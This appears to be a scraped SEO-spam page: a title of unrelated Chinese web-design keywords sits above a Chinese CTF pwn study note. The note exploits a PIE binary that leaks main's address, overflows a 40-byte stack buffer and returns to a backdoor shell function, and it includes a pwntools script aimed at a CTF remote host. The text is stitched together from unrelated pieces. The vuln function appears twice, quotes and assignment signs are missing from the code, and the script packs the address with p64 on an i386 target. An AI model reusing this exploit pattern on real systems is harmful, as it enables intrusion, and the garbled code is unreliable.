顺的品牌网站设计信息网站品牌推广设计

顺的品牌网站设计信息,网站品牌推广设计,黑马程序员视频库,建设网站步骤是第一次打CTF——PWN篇学习笔记14这道题开启了PIE保护#xff0c;但程序中直接泄露了main函数的随机地址#xff0c;因此我们可以进行直接计算int __cdecl main(int argc, const char **argv, const char **envp) {setbuf(stdin, 0);setbuf(stdout, 0);puts(OHHH!,give …第一次打CTF——PWN篇学习笔记14这道题开启了PIE保护但程序中直接泄露了main函数的随机地址因此我们可以进行直接计算int __cdecl main(int argc, const char **argv, const char **envp) { setbuf(stdin, 0); setbuf(stdout, 0); puts(OHHH!,give you a gift!); printf(%p\n, main); puts(Input:); vuln(); return 0; } ssize_t vuln() { _BYTE buf[40]; // [esp0h] [ebp-28h] BYREF ​ return read(0, buf, 0x50u); } ssize_t vuln() { _BYTE buf[40]; // [esp0h] [ebp-28h] BYREF ​ return read(0, buf, 0x50u); }又发现栈溢出和后门函数且main函数地址为0x770shell函数地址为0x80F据此编写脚本即可得到flagfrom pwn import * import struct ​ context.arch i386 context.os linux ​ #io process(./pwn) io remote(node5.anna.nssctf.cn,23609) ​ io.recvuntil(bOHHH!,give you a gift!\n) ​ main int(io.recvline().strip(), 16) ​ backdoor main - 0x770 0x80F ​ payload cyclic(0x28 4) p64(backdoor) ​ io.sendline(payload) ​ io.interactive()